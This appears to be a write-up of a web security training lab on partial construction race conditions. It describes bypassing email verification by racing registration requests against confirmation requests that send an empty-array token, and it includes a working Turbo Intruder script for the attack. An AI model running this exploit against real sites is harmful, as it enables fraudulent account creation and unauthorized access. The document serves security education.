Partial construction race conditions

Description

This lab contains a user registration mechanism. A race condition enables you to bypass email verification and register with an arbitrary email address that you do not own.

To solve the lab, exploit this race condition to create an account, then log in and delete the user carlos.

Approach

Upon accessing the registration page, I encountered a restriction that mandated registration with an email bearing the domain @ginandjuice.shop. Since I lacked access to such an email, proceeding with registration seemed unfeasible, given that my provided email resembled wiener@exploit-**********.exploit-server.net.

In search of an alternative approach, my exploration led me to a compelling discovery—a request fetching a JavaScript file named users.js:

Alternatively, this discovery could be made by inspecting the developer tools in the browser:

This script appeared to be linked to the email confirmation process, seemingly constituting the final step, as evidenced by the POST /confirm?token=value request. To validate this hypothesis, I crafted a simple request and sent it, yielding affirmative results:

With this understanding, I proceeded to experiment further, noting distinct responses to different token values:

• token= → Forbidden

• token=random_value → Incorrect Token

• token[]= → Incorrect token: Array

While an empty token proved futile, utilizing token[]= resulted in Incorrect token: Array, suggesting the processing of an empty array—a potential match for an uninitialized registration token. This hinted at a race window between user registration and the creation and storage of the associated token, where null could serve as a valid token for confirming registration.

To exploit this race window, I devised a strategy involving two requests: a registration request and a confirmation request. Leveraging Turbo Intruder, I orchestrated an attack aimed at confirming user registration before their token was stored in the database. Initially, I configured Turbo Intruder to send registration requests with a variable username parameter to circumvent the "Already registered user" error:

Subsequently, I employed the race-single-packet-attack.py script for parallel request execution. Custom modifications were made to the script, including the initialization of a token_request variable required for confirmation, and the creation of a loop to register new usernames and confirm registrations by sending empty array tokens. The modified script resembled the following:

def queueRequests(target, wordlists):

    
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2
                           )
    token_request = '''POST /confirm?token[]= HTTP/2
Host: 0adc00d503f7399b81505c6e00740048.web-security-academy.net
Cookie: phpsessionid=jeRg11f0v3RxlnzhW8jE9ct80BklGHub
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Content-Type: application/x-www-form-urlencoded

'''
    
    for i in range(20):
        username = 'ichyaboy' + str(i)
        engine.queue(target.req, username,gate=str(i))

        for j in range(50):
            engine.queue(token_request, gate=str(i))
   
        engine.openGate(str(i))


def handleResponse(req, interesting):
    table.add(req)

Executing the attack and filtering responses by a status code of 200 revealed successful registrations, interspersed with confirmation requests, confirming the exploitation of the race window:

The response indicated successful registration for the user "ichyaboy7". With this accomplished, logging in with the specified password (in this case, "welcome") and navigating to the admin panel facilitated the deletion of the "carlos" user, effectively solving the lab.